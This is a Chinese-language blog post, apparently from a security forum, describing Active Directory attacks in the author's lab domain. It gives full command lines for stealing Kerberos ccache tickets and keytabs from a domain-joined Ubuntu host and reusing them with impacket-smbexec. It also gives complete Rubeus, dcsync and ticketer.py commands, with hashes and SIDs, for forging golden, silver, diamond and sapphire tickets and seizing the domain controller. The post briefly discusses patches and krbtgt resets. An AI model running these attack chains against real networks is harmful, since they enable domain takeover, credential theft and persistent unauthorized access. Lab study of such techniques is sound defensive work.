AD学习记录 (下)
Endlessparadox 发表于 江西 WEB安全 1535浏览 · 2024-02-05 20:12

补全在Linux在域中的渗透技巧、以及常见的各种票据和新版windows实验中遇到的一些棘手的问题

环境搭建

一般域搭建可以参考@倾旋的最快的方式搭建域环境,为了演示linux下的攻击利用手法,我这里补全Ubuntu加入域环境的过程,我整个域环境有三台服务器:

域控windows 2016:ad.endlessparadox.com
普通windows服务器2016: web1.endlessparadox.com 【也是AD CS服务器】
普通linux ubuntu服务器: nanami-virtual-machine.endlessparadox.com

管理员账户:administrator@endlessparadox.com
普通账户:satoru@endlessparadox.com

安装依赖环境:

apt-get update
sudo apt install sssd-ad sssd-tools realmd adcli krb5-user

修改dns地址到域控的ip,可以修改/etc/systemd/resolved.conf 的dns值:

重启服务直接再检查是否成功:

systemctl restart systemd-resolved
systemd-resolve --status

也可以直接修改这个配置,不过重启之后配置会消失

vim /etc/resolv.conf

利用realm发现域,这里要填域控的域名

realm -v discover ad.endlessparadox.com

直接利用域管理员账户加入域环境,需要输入管理员密码,等待一会儿就好了

realm join ad.endlessparadox.com

启用自动创建主目录,这意味着每次登录进来的用户都会在本机linux的home目录下新建

sudo pam-auth-update --enable mkhomedir

查看ad内的用户和所属组,我自己在域中有一个satoru的普通用户

getent  passwd  satoru@endlessparadox.com
groups satoru@endlessparadox.com

这个时候可以尝试登录了,

sudo login

klist命令在linux也有,可以查看当前登录的票据信息和位置,不过必须要在域用户下显示票据信息

klist

利用smbclient查看可以访问文件共享

smbclient -k -L ad.endlessparadox.com

利用realm命令查看是否成功加入域:

realm list

这里satoru的账户权限不够无法查看详细内容,我用域管理员再演示一下查看指定的内容:

smbclient //web1.endlessparadox.com/admin$ -k -c 'ls'

我这里是桌面端,还需要配置ssh服务和开启支持ssh的kerberbos身份验证:

apt install openssh-server --fix-missing

完成之后修改/etc/ssh/sshd_config配里面的选项开启

重启服务:

/etc/init.d/sshd restart

在外面验证一下能不能登陆:

ssh administrator@endlessparadox.com@192.168.43.137

完成环境搭建就可以进入攻击手法的演示了

手法演示

利用root权限提取CCACHE ticket

假设我们已经攻限了此台linux服务器,通过各种提权手法拿到了最高的root权限,能不能就像windows机器一样提取出类似TGT和TGS的票据来支持我们横向移动呢?

当然可以,只需要在root用户执行命令就能找到存在tmp目录下的所有票据

ls /tmp/ | grep krb5cc

系统贴心的告诉我们每个文件对应的是那个域用户,目前tmp下有两个用户,administrator和satoru,注意到默认的权限是600了吗,只有root能查看

票据不大,我们直接base64编码复制出来:

base64 /tmp/krb5cc_285400500_xkhemD | tr -d '\n'

在kali重新解码生成原始票据文件:

echo '刚刚拿到的编码'  | base64 -d > krb5cc_285400500_xkhemD

之后直接利用impacket-smbexec横向移动到windows域控制器,执行命令看看是否有问题

KRB5CCNAME='krb5cc_285400500_xkhemD'  /usr/bin/impacket-smbexec -target-ip 192.168.43.136 -dc-ip 192.168.43.136 -k  -no-pass @'ad.endlessparadox.com'

完美,而且票据的默认有效时间是大约1天,不算长也不算短,认证总是频繁发生不是嘛

虽然我们是从sudo login登陆进来的,其实ssh通过kerbores协议认证之后也会产生这类缓存票据

利用/etc/krb5.keytab文件恢复密钥或者hash

krb5.keytab文件记录这一些服务主体的密钥表,密钥表类似于用户的口令,可以使用命令来查看记录了有那些服务的主体:

klist -k /etc/krb5.keytab

我这里是测试环境只有一些这台linux本身的服务,这可能看起来没什么用,但是现实中的大型集群认证可能存在一个额外添加的keytab文件认证服务,也可能存在计划任务中运行特定的清除垃圾任务需要用到独立的keytab文件,从而利用可以横向移动到其他服务或者主机打通通向域控的路径

要利用也并不难,自带的命令即可请求一个新的tgt

kinit  -k  NANAMI-VIRTUAL-$

可以看到klist命令已经出现的我们刚刚申请的NANAMI-VIRTUAL-$票据了

如果是独立的keytab文件可以指定-t来选中文件

kinit -k  '用户'  -t 'keytab文件'

我们也可以借助脚本解密/etc/krb5.keytab文件,非常有意思,NTLM HASH,也许会存在密码重用让我们横向移动到其他服务或者干脆破解出明文,无限的可能

利用内核keyring提取票据

在Linux中,"keyring"是内核中的一个特性,它是内核内存中的一个区域,用于管理和保存密钥。这些密钥不仅仅是加密密钥,它们可以是任意数据,例如Kerberos票据

利用现有的工具, Tickey使得我们可以从进程内存或者内核中dump出票据信息,编译需要安装依赖环境

apt-get install libc-dev

下载完成直接编译

make CONF=Release

发现报错,注意到上面报错bits/signum.h是GNU C库(glibc)的一个内部头文件,应该修改为更高层的头文件signal.h

编译完成就可以运行了,也许能找到一些内核中的票据,不过显然我的Ubuntu系统没有

./tickey

不必太纠结,我已经演示完成了Linux下的攻击利用方法,现在再来谈谈权限维持。

黄金票据 Golden tickets

黄金票据跳过了正常kerberos认证中的前两步,使用krbtgt的hash来自己签发TGT票据,通过TGT去申请新的TGS,可以让我们伪造任意的用户访问任意的服务,而且微软默认的krbtgt从不会自己修改密码,这意味持久化的控制,黄金票据最长能签发10年,而且我们随时能签发新的票据;

实验要用到Rubeus,需要自己编译Rubeus.exe,要选principal分支点,release的太老了还不支持生成黄金票据和白银票据:

在管理员的会话中执行dcsync拿到krbtgt的密钥

dcsync endlessparadox.com endlessparadox\krbtgt

这里我需要查找krbtgt的sid,502代表的是krbtgt所属的组,使用的时候只要去掉最后的-502,

mimikatz给我们导出了三种类型的hash,微软默认现在用aes256加密,用其他的效果也一样:

使用命令本地生成黄金票据,aes是目前标准的加密方法,/user指定任意的用户名,域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,用户可以是不存在的用户,kerberos是静态协议,在我们这侧工具会自动把我们伪造的用户指定在管理员组,域控只会被动接受这个事实,/nowrap是让票据变成一行方便我们复制粘贴:

Rubeus.exe golden /aes256:4a3d7520e5249a47c1fea8584229f5278a3a0b6d3fa3545aedb29b1cae457ead /user:hacker /domain:endlessparadox.com /sid:S-1-5-21-3455334608-937969980-1598144099 /nowrap

execute-assembly命令用于远程拉取c#文件不落地执行,这里执行Rubeus的createnetonly命令,将创建一个新的cmd进程将票据注入其中,/ticket参数后面跟上刚刚生成的base64票据,不是很大,我们复制过来:

execute-assembly C:\tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:endlessparadox /username:hacker /password:123456 /ticket:doIFlz····NvbQ==

执行成功了,控制台内容详细的展示了我伪造的进程pid:

在普通用户会话下偷取令牌过来,然后我们应该可以成功访问到DC了,但是现实居然是无法打开,怎么回事?还给出了错误code 1326,ERROR_LOGON_FAILURE,这意味着我的TGT被立刻吊销了:

我仔细检查了所有参数,看起来我的操作没问题,怎么回事,为什么无法认证?经过一天的查阅资料,我发现实际上微软已经发布了补丁缓解了黄金票据的攻击不允许任意的用户通过DC的认证了,而我的环境正是最新的windows server 2016,打上了所有的补丁

我们稍后再来仔细分析补丁的修补情况,现在我们需要修改真实存在的用户名,administrator,由于默认的用户的sid是500和我们伪造的一致所以不需要显示指定

Rubeus.exe golden /aes256:4a3d7520e5249a47c1fea8584229f5278a3a0b6d3fa3545aedb29b1cae457ead /user:administrator /domain:endlessparadox.com /sid:S-1-5-21-3455334608-937969980-1598144099 /nowrap

在CS控制台,我们使用execute-assembly创建一个新的进程

execute-assembly C:\tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:endlessparadox /username:administrator /password:123456 /ticket:doIF1····0=

控制台会给出伪造票据的进程id

利用steal_token偷取进程的令牌,再次验证票据是否工作:

ls \\ad.endlessparadox.com\c$

完美,我们现在成功伪造了管理员,可以访问域控的smb服务,再一次到达了最高权限虽然控制台显示还是satoru这个普通用户,但这是CS显示的错误,它没办法区分当下模拟了那个用户

根除方法

一旦域控被打下来,网上资料说需要迅速重置krbtgt账户的密码,微软提供了脚本,只需要在域控上执行powershell脚本,但是实际上真的有用吗?让我们实验一下

会询问你确定是否要阅读注意事项,生产环境应该仔细阅读,先经过模拟测试在执行真实重置:

最后执行完成,我们看看票据还能不能工作了,好家伙,居然还能工作?

再一次查询资料发现,官方说法其实重置krbtgt的密码只是策略的一部分,单纯改密码并没有用;即使KrbTgt账户的密码被重置,只是无法用伪造的黄金票据申请新的TGS了,但是攻击者之前缓存的对域控的CIFS服务的TGS实际上还是可以用的,如果不吊销,我们将再一次打下域控拿到重置后的密钥;哈哈哈,最后我重启了web1机器,缓存的票据被清空了,这下真的无法访问了。

白银票据 Silver tickets

白银票据跳过了前面四步,直接使用服务的hash伪造TGS,这使得白银票据没有黄金票据那么强大,但对比黄金票据更加隐蔽,我们不需要和DC沟通直接访问服务资源:

TGS只能对应一个服务,服务主体以前不验证PAC,但是现在微软身份验证已经更新,必须要指定存在的用户名了,不过这个用户即使之前没有权限访问这个服务也能通过认证,这一点还是和以前一样,现在再演示一下

通过logonpasswords可以拿到机器账户的NTLM hash,带有$符号的是机器的账户我们制作的白银票据就是需要机器的密钥,通过这个密钥可以伪造各种票据到这台机器上的任意服务

这台ad是域控,开放着cifs(445的文件共享)服务和ldap服务,这里我伪造的cifs,也就是下面的/service参数;/rc4填入刚刚拿到的ntlm hash就可以了;/sid还是域的sid,这个之前已经拿到了

Rubeus.exe silver /service:cifs/ad.endlessparadox.com /rc4:c783a03c8f07f1d75c2b741cd93fe8c0 /user:administrator /domain:ad.endlessparadox.com /sid:S-1-5-21-3455334608-937969980-1598144099 /nowrap

复制出票据来,执行命令创建一个新的进程

execute-assembly C:\tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:endlessparadox /username:administrator /password:FakePass /ticket:doIF···vbQ==

再次执行steal_token拿到访问令牌,验证成功ad的cifs服务,当然机器的密码30天会自动更新,短期的权限维持已经足够了;

ls \\ad.endlessparadox.com\c$

如果cifs服务不可用,可以使用域控一定开放的ldap服务,然后导入票据执行dcsync再次打下域控:

Rubeus.exe silver /service:ldap/ad.endlessparadox.com /rc4:c783a03c8f07f1d75c2b741cd93fe8c0 /user:satoru /domain:ad.endlessparadox.com /sid:S-1-5-21-3455334608-937969980-1598144099 /nowrap
execute-assembly C:\tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:endlessparadox /username:satoru /password:FakePass /ticket:d·····
dcsync endlessparadox.com endlessparadox\krbtgt

KB5008380 身份验证更新

这个补丁为了解决CVE-2021-42287引入了新的身份验证过程,在2021年11月9日至2022年6月14日之间发布的Windows更新中安装CVE-2021-42287保护后出现了个新的注册表:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc

默认情况下为1,进行身份验证时,如果用户拥有新的 PAC,则该 PAC 会被验证。如果用户没有新的 PAC,则不会采取进一步的操作,如果为2,用户没有新的 PAC,则身份验证将被拒绝;

2022 年 7 月 12 日或更高版本更新后,该值将不存在,用户要通过认证必须要使用新的PAC;PAC增加了两个数据结构PAC_ATTRIBUTES_INFO和PAC_REQUESTOR:

typedef struct _PAC_ATTRIBUTES_INFO {
     ULONG FlagsLength;                // specified in bits
     ULONG Flags[ANYSIZE_ARRAY];
 } PAC_ATTRIBUTES_INFO, *PPAC_ATTRIBUTES_INFO;

PAC_REQUESTOR包含应该sid,其中域控会解析PAC_REQUESTOR中用户和sid情况,如果 KDC 找不到用户或者和sid不匹配那就会直接吊销我们的TGT

typedef struct _SID {
  BYTE                     Revision;
  BYTE                     SubAuthorityCount;
  SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
#if ...
  DWORD                    *SubAuthority[];
#else
  DWORD                    SubAuthority[ANYSIZE_ARRAY];
#endif
} SID, *PISID;

当然我们用的Rubeus默认是支持新tgt结构的,如果要攻击没有打补丁的系统可以使用/oldpac,如果你要使用其他工具最好确保环境的兼容性;

钻石票据 Diamond tickets

由于黄金票据和白银票据跳过了前面的正常请求使得安全设备和日志能很容易发现这类攻击,为了解决这类问题,钻石票据闪亮登场,它自己用 krbtgt hash的解密正常请求的TGT,之后修改这个票据里面特定的字段,之后再重新加密,这使得安全设备更加难以检测出攻击事件的发生。

使用rubeus命令要跟上diamond,/ticketuserid是冒充用户的rid,也就是sid的最后一段;

/tgtdeleg使用 Kerberos GSS-API 为当前用户获取可用的 TGT,而无需知道他们的密码;/ticketuser是我们要冒充的用户,权限的判断取决于这里,/groups指定要冒充的组,要和前面冒充的用户保持一致,/krbkey是krbtgtAES256的hash,我之前重置了密码,所以现在AES256 hash变了,最终命令如下:

execute-assembly C:\tools\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /enctype:AES256 /krbkey:3a5ae89c92ae4f54b569ecfe622ea5c5b232c2fa8ad1d9b65e9ce07ef80e3d17 /nowrap

执行效果:

控制台太小截图不完整,应该用最后生成修改的票据:

复制到/ticket后面,执行如下命令,这将把票据注入特定进程:

execute-assembly C:\tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:endlessparadox /username:satoru /password:FakePass /ticket:doIG·····09N

再次导入验证票据是否工作,攻击成功了:

ls \\ad.endlessparadox.com\c$

如果情况比较复杂,当前会话没有可用的TGT,可以指定伪造的用户也可以显示指定用户名和密码,就不赘述了:

execute-assembly C:\tools\Rubeus.exe diamond /domain:endlessparadox.com /user:satoru /password:1QAZ2wsx123456 /dc:ad.endlessparadox.com /enctype:AES256 /krbkey:3a5ae89c92ae4f54b569ecfe622ea5c5b232c2fa8ad1d9b65e9ce07ef80e3d17 /ticketuser:Administrator /ticketuserid:500 /groups:512  /nowrap

蓝宝石票据 Sapphire tickets

由于钻石票据直接修改TGT中PAC显得太过直接,于是又出现了更加隐蔽的蓝宝石票据,在Kerberos认证过程中,蓝宝石票据(Sapphire Ticket)的产生涉及到Kerberos的S4U2Self和U2U扩展。这使得它成为最难检测的银/金票据的变体,在这个流程中:

  • 用户首先通过正常的Kerberos认证流程获取到TGT(Ticket Granting Ticket)。
  • 用户随后发起一个S4U2Self请求,这个请求是针对自己的,但是由于服务名称(SPN)的问题,KDC(Kerberos身份验证服务)无法解析这个请求。
  • 用户接着请求U2U扩展,这允许用户以另一个用户的身份进行身份验证。
  • KDC使用U2U扩展来获取目标用户的TGT,这个目标用户就是高权限的用户。
  • KDC基于目标用户的TGT生成一个ST(Service Ticket)。
  • 用户使用krbtgt账户的密钥来解密这个ST。
  • 用户修改ST中的PAC(Privilege Attribute Certificate),以包含所需的权限。
  • 用户重新加密ST,生成一个新的票据,这个票据就是蓝宝石票据。

目前可用的工具唯一就ticketer.py, 需要注意也要用master分支的,不然会显示没有impersonate参数,坑有点多,由于伪造高度依赖和KDC的交互,需要在目标环境执行命令;不过我之前不正好有台在域中的linux,理论上windows也是一样,不过linux安装方便一点,下载master分支之后直接运行:

python3 setup.py install

进入example文件夹执行如下命令,-impersonate代表要模拟的用户,-nthash和-aesKey都是域的hash,-user-id记得要和前面的administrator用户保持一致,否则域控会直接吊销我们的TGS,还有最后的'administrator'只是票据的文件名而已:

python3 ticketer.py -request -impersonate 'administrator' -domain endlessparadox.com -user 'satoru' -password '1QAZ2wsx123456' -nthash 'c783a03c8f07f1d75c2b741cd93fe8c0' -aesKey '3a5ae89c92ae4f54b569ecfe622ea5c5b232c2fa8ad1d9b65e9ce07ef80e3d17' -user-id '500' -domain-sid 'S-1-5-21-3455334608-937969980-1598144099' 'administrator'

好的,我现在是管理员了,再次smbexec.py接管域控,现在所有票据已经演示完毕了

KRB5CCNAME='administrator.ccache'  python3 smbexec.py -target-ip 192.168.43.136 -dc-ip 192.168.43.136 -k  -no-pass @'ad.endlessparadox.com'

总结

我们在本文谈论的关于一些比较冷门的东西,虽然实战已经能覆盖大部分,但域渗透的内容远远不止这,依然还有很多棘手的问题没有解决,但我水平有限暂时就写到这里;最后,祝师傅们新年快乐!

参考资料:

https://ubuntu.com/server/docs/service-sssd-ad
https://github.com/swisskyrepo/InternalAllTheThings/blob/main/docs/active-directory/ad-adds-linux.md
https://www.novell.com/documentation/opensuse103/opensuse103_reference/data/sec_kerbadmin_sshd.html
https://github.com/sosdave/KeyTabExtract
https://www.youtube.com/watch?v=lJQn06QLwEw&ab_channel=BlackHat
https://support.microsoft.com/en-gb/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041
https://blog.netwrix.com/2022/01/10/pacrequestorenforcement-and-kerberos-authentication/
https://www.varonis.com/blog/pac_requestor-and-golden-ticket-attacks
https://drsuresh.net/articles/kerberos2023
https://github.com/fortra/impacket/blob/master/examples/ticketer.py

0 条评论
某人
表情
可输入 255